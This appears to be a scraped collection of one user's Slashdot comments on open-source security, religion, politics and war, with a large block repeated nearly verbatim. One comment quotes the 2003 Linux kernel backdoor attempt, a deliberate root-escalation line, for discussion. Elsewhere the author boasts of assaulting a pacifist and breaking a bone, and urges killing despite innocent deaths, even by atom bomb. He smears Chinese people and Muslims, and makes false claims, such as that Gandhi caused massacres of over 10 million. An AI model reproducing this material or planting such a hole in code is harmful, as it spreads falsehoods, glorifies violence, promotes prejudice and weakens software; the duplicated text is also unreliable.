And open source has not been proven incompetent ? It's worse : open source contributors have been proven malevolent. Not that that's so problematic, after all, Microsoft has had at least 2 employees that got caught doing the same. Several malicious code submissions were approved and "downstreamed" into distributions before being discovered (versus microsoft caught both attempts).
In several instances the individuals involved not only were not prosecuted (obviously microsoft did prosecute them), but weren't even kicked from the project they backdoored, and none were kicked from other projects.
Do you seriously think they only introduced one problematic piece of code ?
What we don't know is how often this sort of thing happens in proprietary software development. There must be some attempts to insert malicious code, given the amount of money at stake and the sheer number of people who have the opportunity to try inserting a backdoor. But we don't know how many people try, or how quickly they are caught.
[Technogeek readers: The offending code is below. Can you spot the problem?
The problem is we don't know IF they are caught, and common sense would tell anyone that they're simply... not caught at all.
The problem with this news (and all security related news) is that it's merely news of incompetents failing. News of successful incursions will, for obvious reasons, not be released until untold damage is done (and that's if you're lucky and the incursion was by some government that's concerned with historical record. Russian criminals don't, neither does, it seems, anyone outside what is generally called "the west". Otherwise, a denial is the very best you could hope for).
There are thousands of attack vectors into linux, far more than there are into any windows software.
How much source code have you verified on your linux install ? Your windows install has at least been verified by a known party. Anyone wanting to get into your system will have to get past microsoft first.
Now in theory getting into a linux system would require getting past redhat or canonical. In practice, as several breaches have demonstrated, compromising ANY widely used project (who accept volunteers as full comitting members merely for showing a bit of ability) would be sufficient.
How many chinese spies are working on the linux kernel. Improving it, yes, but also... Do you dare to bet your life on the answer being zero ?
A full linux install being trustworthy is dependant on tens of thousands of coders all being trustworthy (since in practice, nobody checks one another's work, and no "real" security audits are being conducted. Checking personnel is considered heresy, refusing code based on lack of credentials is something that cannot ever be mentioned).
You want to be secure against chinese interference ? Go to microsoft or ibm. Not because they do not have chinese spies in their organisations, but because they most likely do not have 1000 chinese spies in them. Also, those spies have to get past at least a single code review (one hopes) before compromising all customer's security.
Sorry to break the news to you : open source software, in it's current form, cannot defend against a concerted attack by any large groups of individuals. It can't be done. It doesn't have to be the chinese. It's a matter of time before islamic terrorists compromise projects (they certainly have attacked quite high-value targets on the internet aplenty. Most attacks are stupid. Some (currently a very, very tiny fraction) aren't). It's a matter of time before India breaks into open source projects. Keeping the NSA out of linux systems... can't be done.
And that's the best case scenario. A code compromise cannot be avoided if you can't trust the contributors. Trusting people means checking them first. Nobody's doing that.
Checking the contributions require you taking into account every other piece of software it might interact with. It's like playing a chess game with chinese hackers, only you can't see their moves, since other projects don't concern you, you can only see your own moves.
And to be completely honest... are you seriously hoping to hide a large group of Tibetan exiles from China's billion people ? You need to downsize seriously, and split the organisation.
Hiding an entire government from a billion eyes inside free countries where Chinese can move without anything more thorough than a weapons check (in many countries not even a weapons check) ? Sorry but it can't be done.
Why would a supreme being ask one to do the rational thing ? (economic studies have shown that cooperating with anyone to kill non-believers (different group than your own) is rational, then when they're dead, cooperate with your family to kill the guys less related to you. Well, if trying to optimize your genes' chances for survival, that's what you'd be doing. We're not ? Hmmm...) I mean, if people either did not know whether "killing non-believers" is rational, or did not do so, this study would make no sense.
After all, everybody spends the entire day calculating probabilities he has no chance whatsoever to correctly predict in any non-trivial event (versus in a made-up game), because if that wasn't true the outcome of this study would be... random. Because it's extremely dependant on even minute (cultural, personal,... ?) factors.
But asking people to behave rationally according to optimizing natural selection just... does not seem like something God would do. After all, Jesus asks pretty much the opposite. "Protect the weak" and more such stuff. Not a very smart course of action if you're into spreading your genes (esp. monogamy would seem positively disastrous). I mean, the whole of it could positively be described as idiotic.
And then there's history : as to the consequences of questing to kill non-believers. Well, history seems to indicate that if you behave like animals, best be prepared to live like animals too. Including the preying on one another, law of the jungle, dying from the first easily treatable bacteria that manages to get under your skin type stuff. Oh and very, very few creature comforts.
That's exactly what the story alleges. The idiot got the attention of the authorities, not by running a VM, but by getting caught in the act.
Then they failed to find traces of said act on his machine, and a VM they couldn't access.
Specifically what you say is blatantly contradicted by the article. They did NOT search for users of this technology, they searched for criminals and found a user of this technology.
It's like catching a murderer with a gun. You could say that they looked for anyone with the guts to defend himself, with a gun. But really, let's give these people the benefit of the doubt.
The only ones I know are either horridly expensive (the German phone), provider locked AND not available here, the other one (openmoko)... well coughing is to dieing from a HIV infection like buggy is to... Oh and that one's bankrupt too.
I'd love to get unbelievably exited about this phone operating system. Except... it's got a bit of an emacs problem... this phone operating system does sooooo many things sooooo great... except it doesn't seem to operate any actual phones...
Perhaps it's simply... true ? It would be quite an effective technique.
I "know someone" who uses a VM to play games at work. Works great. None of the managers knows how to mount the volume, or use rescue disks, and to boot up normally it requires a password. Many VM software comes with a convenient "boss key".
It's not difficult, it's impossible. You see the difference between laws and enforced laws is simple :
laws are things that exist solely in human imagination. They know no bounds. They have no energy limits, no money limits, no value limits, no value, no consequences other than their direct intent, no complexities, and each law works totally independant from any other.
enforced laws are things that exist solely in the real world. They do not exist in any individual's head, since no individual's head is even remotely capable of grasping the complexitly of the real world, and no countries are policed in their entirety by a single individual, or even a small group. They have many, many bounds. They all compete for money, manpower, attention,... of the humans employed by the state. And they interfere with one another. Violating one law to avoid violating another is something we all do.
The parliament, congress, whatever it's called in whatever country you're in, is purely a construct of the mind. It does not exist in the real world, it does not produce anything useful, and it most certainly does not decide what actually happens. Parliament is, like it's laws, a social, imaginary construct that is an utter impossibility in the real world.
The problem is that there is a "law" that takes precedence over human laws. It is quite clear what these law is, and to be frank, the bible describes them quite well, even if more exactness might be useful at times. I'm not saying you have to be religious, but you have to see the value in knowing those laws. Right now, congress is filled to the brim with atheists, who enjoy nothing more than making the exact opposite law to God's law, or nature's law if you prefer, and keep thinking, time and time again that it will work.
The story of Sodom and Gomorra IS a warning. It is not, at all, about homosexuality. It is a warning about caring about yourself more than you care about God. Caring about yourself more than you care about reality. It is a warning about going to Canada to avoid a draft : if 1 (ONE) person too many does it... the world ends.
You know I once had an argument with a "pacifist". After a while exposing the gigantic logical inconsistencies and historical "details" in their beliefs, to no avail. The guy goes on "gandhi this, gandhi that", even after he acknowledged that gandhi is responsible for massacres that killed over 10 million people, and tried to get more Jews into Hitler's gas chambers. Is gandhi a man of peace ? Apparently ordering Jews into gas chambers and causing massacres is peaceful to these idiots. And "Che", dear God, what a horrendous ugly monster that guy is.
So I decided to test the truth. I simply took off my glasses and punched him in the face.
Guess what : he wasn't a pacifist. This did nothing to shake the belief of the rest of the idiotic assholes about his pacifist credentials, in fact 2 joined in the fight. I backed off, assuming anyone pushin the "violence is always wrong" idiocy would not attack someone who's backing off.
Guess what. I was wrong. I broke one of their arms. And the three ended up in the hospital. Some people really should learn that there are reasons for backing off other than weakness. Backing off, when properly used, allows you to take on many opponents one-at-a-time, something I'm not sorry to say they will be painfully remembering for a long time.
If you want to argue that pacifism is the best course of action to me, you best be willing to prove your "faith", and let me hit you to death, after which your opinion doesn't matter to anyone. If you can't do that, or call the police to do violence on your behalf, obviously you're not a pacifist.
I've never met any pacifist. Pompous buffoons, spouting lies and sweet-talking themselves, yes, I've met heaps of those. But never even a single pacifist.
If a war game is realistic, they will push people to avoid war if possible. However pain, disability, and choices that are bad either way (someone's firing from within a crowd, do we return fire ?) and their consequences (getting sued for saving 99% of the protestors (this means a few innocents dead by your bullets, for the idiots) for the terrorists' guns), they might actually get a realistic view of a bad situation.
But what are the chances of that ?
A bigger problem is unrealistic war games. If people start believing, even a tiny little bit, that you do actually respawn, that will be a sad day for world peace. Of course the same goes for people believing "god" rewards killing women or "unbelievers" after death. And the same goes for systems that encourage doing nothing at all very strongly, not showing the consequences of refusing to go to war when confronted with certain situations.
I hope so. It seems that internet usage is quite huge even in countries with draconian laws. China, muslim countries,... all have draconian laws, all have large internet usage.
So I hope you're right. I think, however, that you're not.
And if such a law (one that lowers traffic) were passed in the US, it would pose a problem for much of the world.
It's thinking about co2 these days. You see otherwise our kids will... something that's very bad and nobody cares about.
But co2 legislation lets them pass idiotic laws. How about we tax the countries PROFITING from co2 production, instead of the ones suffering from it ? Tax the oil producing states, leave the rest alone.
*Ahem* this is the real world, intention and result... don't match. Not for anyone at all, not for me, not for you, and sure as hell not for the government. This is not anything new, nor will it ever change.
I'd suggest these idiots grow up before spending us all into the ground... oh wait...
Well, they're politicians, let's just hope they wake up AFTER spending us all into the ground. After all, Barack Hussein Obama did just that.
But the reality of the matter is... these idiots will keep spending until the below average half of the population is only 10% of people.
Exactly, and in this case, they did just that : they pursued their own intrest the way the law forced them to, instead of the most profitable (and therefore, at least in this case, most environmentally friendly, way).
In general, the cheapest way for factories is often the one using the least raw material, and therefore at least close to the most environmentally optimal way.
but I think copious legislation should be applied to ensure that you can only have achieve this by benefiting society.
You're assuming that laws always benefit society. I guess women should be glad they get stoned in muslim countries. After all, it benefits society, right ? That's what the law does. Of course, very nearly all muslim countries are, at best, third world countries, racist dictatorships or worse. Seems their laws are less than optimal... for both society and the environment.
But of course, "America is different !". Oh wait, not at all in this case. I guess that what happened here, totally in compliance with the law, and bad for BOTH society and the environment... means nothing to you ?
But this was in compliance with the law, and against market forces, so surely it must have been good for society and for the environment... oops...
Why don't we look at the environmental situation in a country where "copious legislation", in fact as copious as it gets, was in force.
And there we find... chernobyl, in the soviet union.
It seems to me your argument is flawed, both in theory and in practice.
You see, you assume laws are in the intrest of society, which is a standpoint that's idiotic, to say the least. In fact, given the world's current situation, the less laws a society has, the better it does.
The lancet has multiple studies. One put the casualty count at 10 million, which is... more than all the population of Iraq (of which, as anyone can go and see, at least 95% is still alive).
How about you leave the lefty loony mags out of serious discussion ? Several 10000's were killed, MAYBE 100,000. But no more.
Just a radical concept... kill him before he does.
I fail to see how "just let him keep killing" is a better alternative. Even if killing him will also kill a few, or even a lot of innocents.
And do it using the best option, whether that's atom bomb, a bullet, sharks with lasers. But do it. And that random 1000 people might get killed is not an argument to let him kill 10 million AGAIN.
They *are* killing millions of their own people right now.
Your solution is to wait with the killing till they succeed in killing "too many" non-North Koreans. Still as long as other people get sacrificed for your comfort, you won't mind. If they use their nuclear capability on Seoul, you'll still be talking about how "peace" should be "maintained".
There is no peace with North Korea. There is no peace possible with North Korea at all. You can only delay the conflict. But every day you delay the conflict, you intensify it too, meaning more people will die when the situation blows up, as it will.
The solution I'd propose is simply the destruction of their launch capability. I'd be surprised as hell if that required the use of nuclear weapons.
The main difference is, as you will probably point out, the number of people killed. Your solution kills many, many more people, and fails to help millions that really, really could use our help.
Slashdot Mirror
Open a prompt ... type dpkg -l
That's the list of software that you have to trust not to contain a backdoor in order to trust your own system.
The list of contributors, package maintainers, webserver admins, ... that are implicitly trusted is ridiculously long.
And open source has not been proven incompetent ? It's worse : open source contributors have been proven malevolent. Not that that's so problematic, after all, Microsoft has had at least 2 employees that got caught doing the same. Several malicious code submissions were approved and "downstreamed" into distributions before being discovered (versus microsoft caught both attempts).
In several instances the individuals involved not only were not prosecuted (obviously microsoft did prosecute them), but weren't even kicked from the project they backdoored, and none were kicked from other projects.
Do you seriously think they only introduced one problematic piece of code ?
http://www.freedom-to-tinker.com/blog/felten/linux-backdoor-attempt-thwarted
What we don't know is how often this sort of thing happens in proprietary software development. There must be some attempts to insert malicious code, given the amount of money at stake and the sheer number of people who have the opportunity to try inserting a backdoor. But we don't know how many people try, or how quickly they are caught.
[Technogeek readers: The offending code is below. Can you spot the problem?
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
]
The problem is we don't know IF they are caught, and common sense would tell anyone that they're simply ... not caught at all.
The problem with this news (and all security related news) is that it's merely news of incompetents failing. News of successful incursions will, for obvious reasons, not be released until untold damage is done (and that's if you're lucky and the incursion was by some government that's concerned with historical record. Russian criminals don't, neither does, it seems, anyone outside what is generally called "the west". Otherwise, a denial is the very best you could hope for).
There are thousands of attack vectors into linux, far more than there are into any windows software.
How much source code have you verified on your linux install ? Your windows install has at least been verified by a known party. Anyone wanting to get into your system will have to get past microsoft first.
Now in theory getting into a linux system would require getting past redhat or canonical. In practice, as several breaches have demonstrated, compromising ANY widely used project (who accept volunteers as full comitting members merely for showing a bit of ability) would be sufficient.
How many chinese spies are working on the linux kernel. Improving it, yes, but also ... Do you dare to bet your life on the answer being zero ?
A full linux install being trustworthy is dependant on tens of thousands of coders all being trustworthy (since in practice, nobody checks one another's work, and no "real" security audits are being conducted. Checking personnel is considered heresy, refusing code based on lack of credentials is something that cannot ever be mentioned).
You want to be secure against chinese interference ? Go to microsoft or ibm. Not because they do not have chinese spies in their organisations, but because they most likely do not have 1000 chinese spies in them. Also, those spies have to get past at least a single code review (one hopes) before compromising all customer's security.
Sorry to break the news to you : open source software, in it's current form, cannot defend against a concerted attack by any large groups of individuals. It can't be done. It doesn't have to be the chinese. It's a matter of time before islamic terrorists compromise projects (they certainly have attacked quite high-value targets on the internet aplenty. Most attacks are stupid. Some (currently a very, very tiny fraction) aren't). It's a matter of time before India breaks into open source projects. Keeping the NSA out of linux systems ... can't be done.
And that's the best case scenario. A code compromise cannot be avoided if you can't trust the contributors. Trusting people means checking them first. Nobody's doing that.
Checking the contributions require you taking into account every other piece of software it might interact with. It's like playing a chess game with chinese hackers, only you can't see their moves, since other projects don't concern you, you can only see your own moves.
And to be completely honest ... are you seriously hoping to hide a large group of Tibetan exiles from China's billion people ? You need to downsize seriously, and split the organisation.
Hiding an entire government from a billion eyes inside free countries where Chinese can move without anything more thorough than a weapons check (in many countries not even a weapons check) ? Sorry but it can't be done.
Why would a supreme being ask one to do the rational thing ? (economic studies have shown that cooperating with anyone to kill non-believers (different group than your own) is rational, then when they're dead, cooperate with your family to kill the guys less related to you. Well, if trying to optimize your genes' chances for survival, that's what you'd be doing. We're not ? Hmmm ...) I mean, if people either did not know whether "killing non-believers" is rational, or did not do so, this study would make no sense.
After all, everybody spends the entire day calculating probabilities he has no chance whatsoever to correctly predict in any non-trivial event (versus in a made-up game), because if that wasn't true the outcome of this study would be ... random. Because it's extremely dependant on even minute (cultural, personal, ... ?) factors.
But asking people to behave rationally according to optimizing natural selection just ... does not seem like something God would do. After all, Jesus asks pretty much the opposite. "Protect the weak" and more such stuff. Not a very smart course of action if you're into spreading your genes (esp. monogamy would seem positively disastrous). I mean, the whole of it could positively be described as idiotic.
And then there's history : as to the consequences of questing to kill non-believers. Well, history seems to indicate that if you behave like animals, best be prepared to live like animals too. Including the preying on one another, law of the jungle, dying from the first easily treatable bacteria that manages to get under your skin type stuff. Oh and very, very few creature comforts.
That's exactly what the story alleges. The idiot got the attention of the authorities, not by running a VM, but by getting caught in the act.
Then they failed to find traces of said act on his machine, and a VM they couldn't access.
Specifically what you say is blatantly contradicted by the article. They did NOT search for users of this technology, they searched for criminals and found a user of this technology.
It's like catching a murderer with a gun. You could say that they looked for anyone with the guts to defend himself, with a gun. But really, let's give these people the benefit of the doubt.
The only ones I know are either horridly expensive (the German phone), provider locked AND not available here, the other one (openmoko) ... well coughing is to dieing from a HIV infection like buggy is to ... Oh and that one's bankrupt too.
I'd love to get unbelievably exited about this phone operating system. Except ... it's got a bit of an emacs problem ... this phone operating system does sooooo many things sooooo great ... except it doesn't seem to operate any actual phones ...
Perhaps it's simply ... true ? It would be quite an effective technique.
I "know someone" who uses a VM to play games at work. Works great. None of the managers knows how to mount the volume, or use rescue disks, and to boot up normally it requires a password. Many VM software comes with a convenient "boss key".
Bush wasn't. Neither was McCain.
There are alternatives. Everybody could have told you Obama's a demagoge 15 years ago.
But don't worry, "people change", right ?
It's not difficult, it's impossible. You see the difference between laws and enforced laws is simple :
laws are things that exist solely in human imagination. They know no bounds. They have no energy limits, no money limits, no value limits, no value, no consequences other than their direct intent, no complexities, and each law works totally independant from any other.
enforced laws are things that exist solely in the real world. They do not exist in any individual's head, since no individual's head is even remotely capable of grasping the complexitly of the real world, and no countries are policed in their entirety by a single individual, or even a small group. They have many, many bounds. They all compete for money, manpower, attention, ... of the humans employed by the state. And they interfere with one another. Violating one law to avoid violating another is something we all do.
The parliament, congress, whatever it's called in whatever country you're in, is purely a construct of the mind. It does not exist in the real world, it does not produce anything useful, and it most certainly does not decide what actually happens. Parliament is, like it's laws, a social, imaginary construct that is an utter impossibility in the real world.
The problem is that there is a "law" that takes precedence over human laws. It is quite clear what these law is, and to be frank, the bible describes them quite well, even if more exactness might be useful at times. I'm not saying you have to be religious, but you have to see the value in knowing those laws. Right now, congress is filled to the brim with atheists, who enjoy nothing more than making the exact opposite law to God's law, or nature's law if you prefer, and keep thinking, time and time again that it will work.
The story of Sodom and Gomorra IS a warning. It is not, at all, about homosexuality. It is a warning about caring about yourself more than you care about God. Caring about yourself more than you care about reality. It is a warning about going to Canada to avoid a draft : if 1 (ONE) person too many does it ... the world ends.
Literally.
It's almost funny. Linux can't beat microsoft. But why bother ?
In the department of "clobbering microsoft" the one organisation that's really doing some damage is microsoft.
Perhaps we just need to wait a few years.
I don't know if you've ever seen the numbers. This would tax foreign oil a hell of a lot more than domestic.
You know I once had an argument with a "pacifist". After a while exposing the gigantic logical inconsistencies and historical "details" in their beliefs, to no avail. The guy goes on "gandhi this, gandhi that", even after he acknowledged that gandhi is responsible for massacres that killed over 10 million people, and tried to get more Jews into Hitler's gas chambers. Is gandhi a man of peace ? Apparently ordering Jews into gas chambers and causing massacres is peaceful to these idiots. And "Che", dear God, what a horrendous ugly monster that guy is.
So I decided to test the truth. I simply took off my glasses and punched him in the face.
Guess what : he wasn't a pacifist. This did nothing to shake the belief of the rest of the idiotic assholes about his pacifist credentials, in fact 2 joined in the fight. I backed off, assuming anyone pushin the "violence is always wrong" idiocy would not attack someone who's backing off.
Guess what. I was wrong. I broke one of their arms. And the three ended up in the hospital. Some people really should learn that there are reasons for backing off other than weakness. Backing off, when properly used, allows you to take on many opponents one-at-a-time, something I'm not sorry to say they will be painfully remembering for a long time.
If you want to argue that pacifism is the best course of action to me, you best be willing to prove your "faith", and let me hit you to death, after which your opinion doesn't matter to anyone. If you can't do that, or call the police to do violence on your behalf, obviously you're not a pacifist.
I've never met any pacifist. Pompous buffoons, spouting lies and sweet-talking themselves, yes, I've met heaps of those. But never even a single pacifist.
"Pacifism" is nothing but a self-aggrandizing masturbation party for narcissistic drug addicts.
The intention was never to give something. The intention, of all politicians "giving", is to buy loyalty.
Buy loyalty with other people's money. That's what Barack Hussein Obama is doing.
If a war game is realistic, they will push people to avoid war if possible. However pain, disability, and choices that are bad either way (someone's firing from within a crowd, do we return fire ?) and their consequences (getting sued for saving 99% of the protestors (this means a few innocents dead by your bullets, for the idiots) for the terrorists' guns), they might actually get a realistic view of a bad situation.
But what are the chances of that ?
A bigger problem is unrealistic war games. If people start believing, even a tiny little bit, that you do actually respawn, that will be a sad day for world peace. Of course the same goes for people believing "god" rewards killing women or "unbelievers" after death. And the same goes for systems that encourage doing nothing at all very strongly, not showing the consequences of refusing to go to war when confronted with certain situations.
I hope so. It seems that internet usage is quite huge even in countries with draconian laws. China, muslim countries, ... all have draconian laws, all have large internet usage.
So I hope you're right. I think, however, that you're not.
And if such a law (one that lowers traffic) were passed in the US, it would pose a problem for much of the world.
Ever heard of corruption ?
If the lawmakers find a hole they gain nothing. If they miss a hole they lose nothing.
If companies miss a hole they gain nothing, if they find a hole they gain $8 billion.
If lawmakers find a hole, they gain nothing. If they miss a hole, they get 2% of that $8 billion.
There, fixed that for ya.
It's thinking about co2 these days. You see otherwise our kids will ... something that's very bad and nobody cares about.
But co2 legislation lets them pass idiotic laws. How about we tax the countries PROFITING from co2 production, instead of the ones suffering from it ? Tax the oil producing states, leave the rest alone.
*Ahem* this is the real world, intention and result ... don't match. Not for anyone at all, not for me, not for you, and sure as hell not for the government. This is not anything new, nor will it ever change.
I'd suggest these idiots grow up before spending us all into the ground ... oh wait ...
Well, they're politicians, let's just hope they wake up AFTER spending us all into the ground. After all, Barack Hussein Obama did just that.
But the reality of the matter is ... these idiots will keep spending until the below average half of the population is only 10% of people.
Yet too many idiots are trying to turn that into an argument for more legislation. I mean, you'd think they'd learn ...
Exactly, and in this case, they did just that : they pursued their own intrest the way the law forced them to, instead of the most profitable (and therefore, at least in this case, most environmentally friendly, way).
In general, the cheapest way for factories is often the one using the least raw material, and therefore at least close to the most environmentally optimal way.
but I think copious legislation should be applied to ensure that you can only have achieve this by benefiting society.
You're assuming that laws always benefit society. I guess women should be glad they get stoned in muslim countries. After all, it benefits society, right ? That's what the law does. Of course, very nearly all muslim countries are, at best, third world countries, racist dictatorships or worse. Seems their laws are less than optimal ... for both society and the environment.
But of course, "America is different !". Oh wait, not at all in this case. I guess that what happened here, totally in compliance with the law, and bad for BOTH society and the environment ... means nothing to you ?
But this was in compliance with the law, and against market forces, so surely it must have been good for society and for the environment ... oops ...
Why don't we look at the environmental situation in a country where "copious legislation", in fact as copious as it gets, was in force.
And there we find ... chernobyl, in the soviet union.
It seems to me your argument is flawed, both in theory and in practice.
You see, you assume laws are in the intrest of society, which is a standpoint that's idiotic, to say the least. In fact, given the world's current situation, the less laws a society has, the better it does.
Why exactly should the sovereignty of a foreign country be respected when said foreign country is intent on violating other countries' sovereignty ?
Especially when that "respect" directly translates into millions of dead bodies ?
The lancet has multiple studies. One put the casualty count at 10 million, which is ... more than all the population of Iraq (of which, as anyone can go and see, at least 95% is still alive).
How about you leave the lefty loony mags out of serious discussion ? Several 10000's were killed, MAYBE 100,000. But no more.
Just a radical concept ... kill him before he does.
I fail to see how "just let him keep killing" is a better alternative. Even if killing him will also kill a few, or even a lot of innocents.
And do it using the best option, whether that's atom bomb, a bullet, sharks with lasers. But do it. And that random 1000 people might get killed is not an argument to let him kill 10 million AGAIN.
They *are* killing millions of their own people right now.
Your solution is to wait with the killing till they succeed in killing "too many" non-North Koreans. Still as long as other people get sacrificed for your comfort, you won't mind. If they use their nuclear capability on Seoul, you'll still be talking about how "peace" should be "maintained".
There is no peace with North Korea. There is no peace possible with North Korea at all. You can only delay the conflict. But every day you delay the conflict, you intensify it too, meaning more people will die when the situation blows up, as it will.
The solution I'd propose is simply the destruction of their launch capability. I'd be surprised as hell if that required the use of nuclear weapons.
The main difference is, as you will probably point out, the number of people killed. Your solution kills many, many more people, and fails to help millions that really, really could use our help.
Not if your reaction to an attack is to destroy ... the weapons.
If your reaction to an attack is to destroy ... you know ... the attacker ... (what a concept !) THEN they might help.